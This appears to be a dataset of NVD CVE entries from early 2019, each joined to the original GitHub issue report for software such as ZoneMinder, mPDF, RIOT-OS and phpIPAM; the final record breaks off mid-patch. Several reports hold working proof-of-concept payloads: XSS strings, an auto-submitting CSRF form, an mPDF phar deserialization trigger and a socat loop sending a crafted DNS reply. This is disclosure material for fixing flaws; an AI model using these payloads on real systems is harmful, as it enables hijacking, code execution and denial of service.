{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4.9, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.3, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 2.1, "impactScore": 5.2, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2471" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2471" } ]

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[ "384" ]

384

https://github.com/ZoneMinder/zoneminder/issues/2471

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** Before any response being rendered on the web page, a cookie is being set as part of response via Set-Cookie header.Currently due to improper implementation, multiple cookies (3-5) are being set when a user successfully logs in, which isn't an expected behavior.Now when the next user logs into the application using the same browser, the last user's last cookie is being set as the present user's first cookie. **To Reproduce** - Login into the application, capture the response (Live HTTP header addon for firefox) - Multiple Set-Cookie headers will be present in the response Exploitation Actors- - User A (Victim) - User B (Attacker) 1. User B logs into the application, captures his own Cookies & logs out. User B's cookie : Set-Cookie: ZMSESSID=rrnilufc9vgb3cp0l2m7cqrc91; path=/; HttpOnly Set-Cookie: ZMSESSID=blkta1mgocj5ksqdg5ncpdptg3; path=/; HttpOnly Set-Cookie: ZMSESSID=blkta1mgocj5ksqdg5ncpdptg3; path=/; HttpOnly Set-Cookie: ZMSESSID=blkta1mgocj5ksqdg5ncpdptg3; path=/; HttpOnly Set-Cookie: ZMSESSID=p79d4mk2g6sm5qi6o51ep6j6m5; path=/; HttpOnly - `Common to User A's First cookie` 2. User A Uses the same browser & log into the application. User A's cookie - Set-Cookie: ZMSESSID=p79d4mk2g6sm5qi6o51ep6j6m5; path=/; HttpOnly - `Common to User B's Last cookie` Set-Cookie: ZMSESSID=2397j5pchtgt153ukrmutgbmv1; path=/; HttpOnly Set-Cookie: ZMSESSID=2397j5pchtgt153ukrmutgbmv1; path=/; HttpOnly Set-Cookie: ZMSESSID=2397j5pchtgt153ukrmutgbmv1; path=/; HttpOnly Set-Cookie: ZMSESSID=eg5hvsn3i67n34fibt5nq7lbu6; path=/; HttpOnly 3. User B uses User A's Last cookie to hijack the User B's session (locally/remotely) **Expected behavior** - Only set single cookie the user & invalidate the same once user logs out of the application. **Debug Logs** ``` None ```

Improper Session Management - Session Fixation

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2471/comments

3

2019-01-24T21:49:38Z

2023-12-19T04:51:42Z

https://github.com/ZoneMinder/zoneminder/issues/2471

402,910,506

2,471

120

CVE-2019-7351

2019-02-04T19:29:01.490

Log Injection exists in ZoneMinder through 1.32.3, as an attacker can entice the victim to visit a specially crafted link, which in turn will inject a custom Log message provided by the attacker in the 'log' view page, as demonstrated by the message=User%20'admin'%20Logged%20in value.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2466" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2466" } ]

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[ "74" ]

74

https://github.com/ZoneMinder/zoneminder/issues/2466

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing him to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability Most components of ZoneMinder can emit informational, warning, error and debug messages in a standard format. These messages can be logged in.. Example of these messages is: `03/01/06 13:46:00.166046 zmpkg[11148].INF [Command: start]` The first part refers to the date and time of the entry, the next section is the name (or an abbreviated version) of the script, followed by the process id in square brackets, a severity code (INF, WAR, ERR or DBG) and the debug text. All the mentioned information can be manipulated & inject by an attacker by enticing the victim to visit a specially crafted link, which in turn will inject a custom Log message provided by the attacker. The same will be reflected in the `Log` view page **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - `browser[name]=chrome&browser[platform]=win&browser[version]=41&file=admin&level=INF&line=128&message=User 'admin' Logged in&page=1&request=log&task=create` - Navigate to the Affected URL, Custom Log will be injected. - Navigate to the http://localhost/zm/index.php?view=log, Log will be visible. <img width="737" alt="log injection" src="https://user-images.githubusercontent.com/47003572/51708285-86eea900-2049-11e9-9b27-9565c3c1798f.png"> **Expected behavior** - Do not allow tainted data to be written in the log file without prior input validation. Whitelisting may be used to properly validate the data. **Debug Logs** ``` None ```

Log Injection

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2466/comments

4

2019-01-24T21:05:23Z

2022-04-16T07:32:29Z

https://github.com/ZoneMinder/zoneminder/issues/2466

402,895,117

2,466

121

CVE-2019-7352

2019-02-04T19:29:01.537

Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as the view 'state' (aka Run State) (state.php) does no input validation to the value supplied to the 'New State' (aka newState) field, allowing an attacker to execute HTML or JavaScript code.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2475" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2475" } ]

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[ "79" ]

79

https://github.com/ZoneMinder/zoneminder/issues/2475

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `Run State`, does no input validation to the value supplied to `New State` field & processes it further storing the value into the database without any prior filtration, leading to stored XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - `__csrf_magic=key:1f34f1349423d6ec88301cfdfa4d450eb8d33c1b,1547801142&view=console&action=save&apply=1&newState=<script>alert('1');</script>` Payload used - `<script>alert('1');</script>` - Navigate to the Affected URL and set value of New State with payload - Click on Download and Payload would be triggered. <img width="624" alt="state" src="https://user-images.githubusercontent.com/47003572/51712014-89ee9700-2053-11e9-8417-82a133881b07.png"> <img width="618" alt="state 1" src="https://user-images.githubusercontent.com/47003572/51712013-89ee9700-2053-11e9-9b57-44ea90bdf746.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Self - Stored Cross Site Scripting (XSS) - state.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2475/comments

0

2019-01-24T22:15:13Z

2019-02-10T04:40:27Z

https://github.com/ZoneMinder/zoneminder/issues/2475

402,919,369

2,475

122

CVE-2019-1000001

2019-02-04T21:29:00.643

TeamPass version 2.1.27 and earlier contains a Storing Passwords in a Recoverable Format vulnerability in Shared password vaults that can result in all shared passwords are recoverable server side. This attack appears to be exploitable via any vulnerability that can bypass authentication or role assignment and can lead to shared password leakage.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/nilsteampassnet/TeamPass/issues/2495" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/nilsteampassnet/TeamPass/issues/2495" } ]

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[ "522" ]

522

https://github.com/nilsteampassnet/TeamPass/issues/2495

[ "Third Party Advisory" ]

github.com

[ "nilsteampassnet", "TeamPass" ]

Hello, For shared password, if I understand well, the key used to encrypt passwords is splitted between a part of a key in a file and the other part stored in the database, am I correct ? Am I correct if I say that Teampass dont use user password to encrypt or decrypt shared password ? If so, if I gain access to the teampass interface bypassing the authentication, can I see the shared secret of a user without needing his password for deciphering purpose ? Does password of differents roles are encrypted with differents keys ? If I can bypass the role security mecanism, can I access other shared secret that I'm not allowed to normally see ? Other question but related : Is it safe to backup on the same server the database (dump) and the teampass files ? If someone gain access to my server with both the webserver and the database, will he be able to decipher every shared password of the database ?

Shared password security - design flaw

https://api.github.com/repos/nilsteampassnet/TeamPass/issues/2495/comments

18

2018-12-07T16:17:54Z

2022-10-31T04:41:48Z

https://github.com/nilsteampassnet/TeamPass/issues/2495

388,720,331

2,495

123

CVE-2019-1000004

2019-02-04T21:29:00.767

yugandhargangu JspMyAdmin2 version 1.0.6 and earlier contains a Cross Site Scripting (XSS) vulnerability in sidebar and table data that can result in Database fields aren't properly sanitized and allow code injection (Cross-Site Scripting). This attack appears to be exploitable via the payload needs to be stored in the database and the victim must see the db value in question.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/yugandhargangu/JspMyAdmin2/issues/22" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/yugandhargangu/JspMyAdmin2/issues/22" } ]

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[ "79" ]

79

https://github.com/yugandhargangu/JspMyAdmin2/issues/22

[ "Issue Tracking", "Third Party Advisory" ]

github.com

[ "yugandhargangu", "JspMyAdmin2" ]

The sidebar and table_data are vulnerable to Stored XSS, which means an attacker could store HTML code on the database that would be rendered by the browser when viewed and potentially run malicious code. This can be fixed in the callColumn function of the SideBarLogic.java and in the DataSelectLogic function of the DataSelectLogic.java using org.apache.commons.lang.StringEscapeUtils.escapeHtml function on the data coming from the database.

Stored XSS in sidebar and in table_data

https://api.github.com/repos/yugandhargangu/JspMyAdmin2/issues/22/comments

1

2018-03-08T13:06:19Z

2020-01-02T08:45:03Z

https://github.com/yugandhargangu/JspMyAdmin2/issues/22

303,472,905

22

124

CVE-2019-1000005

2019-02-04T21:29:00.800

mPDF version 7.1.7 and earlier contains a CWE-502: Deserialization of Untrusted Data vulnerability in getImage() method of Image/ImageProcessor class that can result in Arbitry code execution, file write, etc.. This attack appears to be exploitable via attacker must host crafted image on victim server and trigger generation of pdf file with content <img src="phar://path/to/crafted/image">. This vulnerability appears to have been fixed in 7.1.8.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/mpdf/mpdf/issues/949" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/mpdf/mpdf/issues/949" } ]

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[ "502" ]

502

https://github.com/mpdf/mpdf/issues/949

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "mpdf", "mpdf" ]

Hello, During bug bounty hunting I met one of the old version of yours library and decided to test it for known vulnerabilities, namely PHP deserialization through _phar://_ wrapper that was discovered independently by @s-n-t and @orangetw. [Presentation Slides by Sam Thomas ](https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf) [White Paper by Sam Thomas](https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf) [CTF challenge by Orange Tsai](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/README.md#babyh-master-php-2017) So, after some tests, looks like yours library has similar issue as [TCPDF](https://github.com/tecnickcom/TCPDF) library. Method _getImage()_ of _Image/ImageProcessor_ class pass value of _src_ attribute of _img_ tag to **fopen()** function, what can lead to PHP deserialization if value contains _phar://_ wrapper. https://github.com/mpdf/mpdf/blob/development/src/Image/ImageProcessor.php#L215 For proof of concept I create class with ___destruct()_ method (based on GuzzleHttp deserialization chain) and use [phpggc](https://github.com/ambionics/phpggc) library to create image, which contains phar metadata. Phpggc repo also provide dozens of popular deserialization chains for popular frameworks and libraries. Source code of test class: ``` <?php namespace TestLib; class VulnerableClass { private $file; private $content; public function __construct($file, $content) { $this->file = $file; $this->content = $content; } /* ... */ public function __destruct() { $this->save($this->file, $this->content); } public function save($file, $content) { file_put_contents($file, $content); } } ?> ``` Source code of trigger script: ``` <?php require('lib/class.php'); require_once __DIR__ . '/../vendor/autoload.php'; $input = $_GET['input']; if (!$input) { $input = ""; } $mpdf = new \Mpdf\Mpdf(); $mpdf->WriteHTML($input); $mpdf->Output(); ?> ``` [Video Proof Of Concept](https://www.youtube.com/watch?v=tbjtfGvym4M) Tested on version 5.4.0 and 7.1.7 (latest). PHP 7.1.25 TCPDF CVE: https://nvd.nist.gov/vuln/detail/CVE-2018-17057 TCPDF fix commit that disallow pass pathes with _phar://_ wrapper: https://github.com/tecnickcom/TCPDF/commit/1861e33fe05f653b67d070f7c106463e7a5c26ed

Insecure PHP deserialization through phar:// wrapper.

https://api.github.com/repos/mpdf/mpdf/issues/949/comments

2

2019-01-08T15:01:04Z

2019-08-06T10:41:54Z

https://github.com/mpdf/mpdf/issues/949

396,944,916

949

125

CVE-2019-1000006

2019-02-04T21:29:00.830

RIOT RIOT-OS version after commit 7af03ab624db0412c727eed9ab7630a5282e2fd3 contains a Buffer Overflow vulnerability in sock_dns, an implementation of the DNS protocol utilizing the RIOT sock API that can result in Remote code executing. This attack appears to be exploitable via network connectivity.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://github.com/RIOT-OS/RIOT/issues/10739" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://github.com/RIOT-OS/RIOT/issues/10739" } ]

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[ "787" ]

787

https://github.com/RIOT-OS/RIOT/issues/10739

[ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ]

github.com

[ "RIOT-OS", "RIOT" ]

## Description `gnrc_sock_dns` doesn't perform sufficient sanity checks on the DNS response it receives from the configured DNS server. Here is a non-exhaustive list of issues: 1. The `QDCOUNT` contained in the DNS response is not verified. This causes an out-of-bounds buffer access in the `_skip_hostname` function if `QDCOUNT` is set to a value larger than the buf `len` supplied to `_parse_dns_reply`. 2. The `RDLENGTH` bounds-check for the answer section is incorrect for two reasons: (a) `buf + len` is the first invalid address, so `>=` needs to be used as a comparison operator (b) The result of `bufpos + addrlen` might cause a pointer overflow (especially due to the fact that `addrlen` is attacker controlled). If pointer overflows wrap around (undefined behaviour) this would allow an attacker to circumvent the bounds-check and exposes a buffer overflow vulnerability since the attacker controlled `addrlen` is later used in `memcpy(addr_out, bufpos, addrlen)`, potentially allowing a code execution. 3. The size of the caller allocated buffer `addr_out` is not passed to the `_parse_dns_reply` function at all. This makes checking whether the attacker controlled address actually fits in the buffer impossible and allows an easy buffer overflow and potential code execution. All of these are especially critical due to the fact that DNS responses can easily be spoofed, especially since all spoofing protection mechanisms of DNS were not implemented. So an attacker doesn't even need to control the configured DNS server in order to exploit this. ## Steps to reproduce the issue 1. Flash an unmodified version of `tests/gnrc_sock_dns` to your RIOT node. 2. Adjust your radvd.conf on your border router and add a RDNSS definition. ### Causing a crash Constantly send a DNS response with an excessive qdcount on the computer associated with the IP-Address you configured in the radvd RDNSS definition. For example ```shell while sleep 1; do echo AACEAwkmAAAAAAAAKioqKioqKioqKioqKioqKioqKio= | \ base64 -d | \ socat fd:0 udp6-sendto:'[address-of-riot-node]':49152,sourceport=53 done ``` ### Remote code execution This is (obviously) highly platform specific. We did this with `BOARD=pba-d-01-kw2x`. We wrote some ARM assembler code which toggles the LED and stored the machine code for it in the `RDATA` field of the answer section in the DNS response, thereby overflowing the `addr` buffer in the `main` stack frame. Our payload exactly fits into the stack frame of the main function and overwrites the return address of that function, jumping to the `addr` buffer and executing our payload. Exploit written by @PyroPeter. See: https://github.com/beduino-project/exploit-riot-dns  ## Versions RIOT-Version: 5e03f58746633404393413eb674c938b5e31c144 Build environment: ``` Operating System Environment ----------------------------- Operating System: "Arch Linux" Kernel: Linux 4.19.4-arch1-1-ARCH x86_64 unknown Installed compiler toolchains ----------------------------- native gcc: gcc (GCC) 8.2.1 20181127 arm-none-eabi-gcc: arm-none-eabi-gcc (Arch Repository) 8.2.0 avr-gcc: avr-gcc (GCC) 8.2.0 mips-mti-elf-gcc: missing msp430-gcc: missing riscv-none-embed-gcc: missing clang: clang version 7.0.0 (tags/RELEASE_700/final) Installed compiler libs ----------------------- arm-none-eabi-newlib: "3.0.0" mips-mti-elf-newlib: missing riscv-none-embed-newlib: missing avr-libc: "2.0.0" ("20150208") Installed development tools --------------------------- cmake: cmake version 3.13.1 cppcheck: missing doxygen: 1.8.14 flake8: missing git: git version 2.19.2 make: GNU Make 4.2.1 openocd: Open On-Chip Debugger 0.10.0+dev-00436-g0fdf48f1 (2018-06-18-18:19) python: Python 3.7.1 python2: Python 2.7.15 python3: Python 3.7.1 coccinelle: missing ```

sock_dns: Security issues (including remote code execution)

https://api.github.com/repos/RIOT-OS/RIOT/issues/10739/comments

8

2019-01-09T16:12:15Z

2024-04-30T08:01:22Z

https://github.com/RIOT-OS/RIOT/issues/10739

397,443,273

10,739

126

CVE-2019-1000010

2019-02-04T21:29:01.003

phpIPAM version 1.3.2 and earlier contains a Cross Site Scripting (XSS) vulnerability in subnet-scan-telnet.php that can result in executing code in victims browser. This attack appears to be exploitable via victim visits link crafted by an attacker. This vulnerability appears to have been fixed in 1.4.

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[ { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/phpipam/phpipam/commit/fd37bd8fb2b9c306079db505e0e3fe79a096c31c" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/phpipam/phpipam/issues/2327" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/phpipam/phpipam/commit/fd37bd8fb2b9c306079db505e0e3fe79a096c31c" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/phpipam/phpipam/issues/2327" } ]

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[ "79" ]

79

https://github.com/phpipam/phpipam/issues/2327

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "phpipam", "phpipam" ]

The line ` $Result->show("danger", _("Invalid port")." ($p)", true);` in **/app/subnets/scan/subnet-scan-telnet.php** and no CSRF-protection at **/app/subnets/scan/subnet-scan-execute.php** causes an XSS vulnerability. Poc: ``` <form method="POST" action="http://localhost/phpipam/app/subnets/scan/subnet-scan-execute.php"> <input type="text" value="3" name="subnetId"> <input type="text" value="scan-telnet" name="type"> <input type="text" value="0" name="debug"> <input type="text" value="<script>alert('XSS')</script>" name="port"> <input type="submit" value=""></form> <script>document.forms[0].submit();</script> ``` Note that a valid **subnetId** has to be used.

XSS via CSRF(subnet-scan-telnet.php & subnet-scan-execute.php)

https://api.github.com/repos/phpipam/phpipam/issues/2327/comments

0

2018-11-21T23:17:40Z

2018-12-08T13:36:32Z

https://github.com/phpipam/phpipam/issues/2327

383,324,864

2,327

127

CVE-2019-1000022

2019-02-04T21:29:01.567

Taoensso Sente version Prior to version 1.14.0 contains a Cross Site Request Forgery (CSRF) vulnerability in WebSocket handshake endpoint that can result in CSRF attack, possible leak of anti-CSRF token. This attack appears to be exploitable via malicious request against WebSocket handshake endpoint. This vulnerability appears to have been fixed in 1.14.0 and later.

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[ "352" ]

352

https://github.com/ptaoussanis/sente/issues/137

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "ptaoussanis", "sente" ]

From https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html, if somebody wasn't using CSRF tokens, it seems like it would be possible for any malicious website to open up a web socket to do Bad Things. I know that CSRF tokens are highly recommended, but they're not suitable for all cases (I think). It could be good to also add CORS style protection to Sente to allow only whitelisted origins. What are your thoughts? N.B. CORS itself has no influence on websocket connections.

Securing cross origin requests [CVE-2019-1000022]

https://api.github.com/repos/taoensso/sente/issues/137/comments

23

2015-06-14T21:33:02Z

2023-02-23T14:41:25Z

https://github.com/taoensso/sente/issues/137

88,251,987

137

128

CVE-2019-7395

2019-02-05T00:29:00.400

In ImageMagick before 7.0.8-25, a memory leak exists in WritePSDChannel in coders/psd.c.

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[ { "source": "cve@mitre.org", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "cve@mitre.org", "tags": [ "Broken Link" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00006.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106850" }, { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/commit/8a43abefb38c5e29138e1c9c515b313363541c06" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1451" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Broken Link" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00006.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106850" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/commit/8a43abefb38c5e29138e1c9c515b313363541c06" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1451" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" } ]

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[ "401" ]

401

https://github.com/ImageMagick/ImageMagick/issues/1451

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "ImageMagick", "ImageMagick" ]

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description  memory leak in WritePSDChannel in coders/psd.c ### Steps to Reproduce  The critical code snippet is: https://github.com/ImageMagick/ImageMagick/blob/master/coders/psd.c#L2767 ```c #ifdef MAGICKCORE_ZLIB_DELEGATE if (compression == ZipCompression) { compressed_pixels=(unsigned char *) AcquireQuantumMemory(CHUNK, //line 2770 sizeof(*compressed_pixels)); if (compressed_pixels == (unsigned char *) NULL) { quantum_info=DestroyQuantumInfo(quantum_info); return(0); } memset(&stream,0,sizeof(stream)); stream.data_type=Z_BINARY; level=Z_DEFAULT_COMPRESSION; if ((image_info->quality > 0 && image_info->quality < 10)) level=(int) image_info->quality; if (deflateInit(&stream,level) != Z_OK) //line 2782 { quantum_info=DestroyQuantumInfo(quantum_info); return(0); //line 2785 } } ``` **compressed_pixels** is allocated at *line 2770*, however, when the condition at *line 2782* is satisfied and the function returns at line *2785*, **compressed_pixels** (size is 16KB) is not freed and memory leak happens. In addition, the value of **compressed_pixels** is not passed outside to its caller function when returned at *line 2785*. So the condition that this memory leak happens is that *MAGICKCORE_ZLIB_DELEGATE* is defined, compression type is *ZipCompression* and *deflateInit(&stream,level)* is not *Z_OK*. The size of leaked memory is 16KB. Patch suggestion: ```c if (deflateInit(&stream,level) != Z_OK) //line 2782 { quantum_info=DestroyQuantumInfo(quantum_info); + compressed_pixels=(unsigned char *) 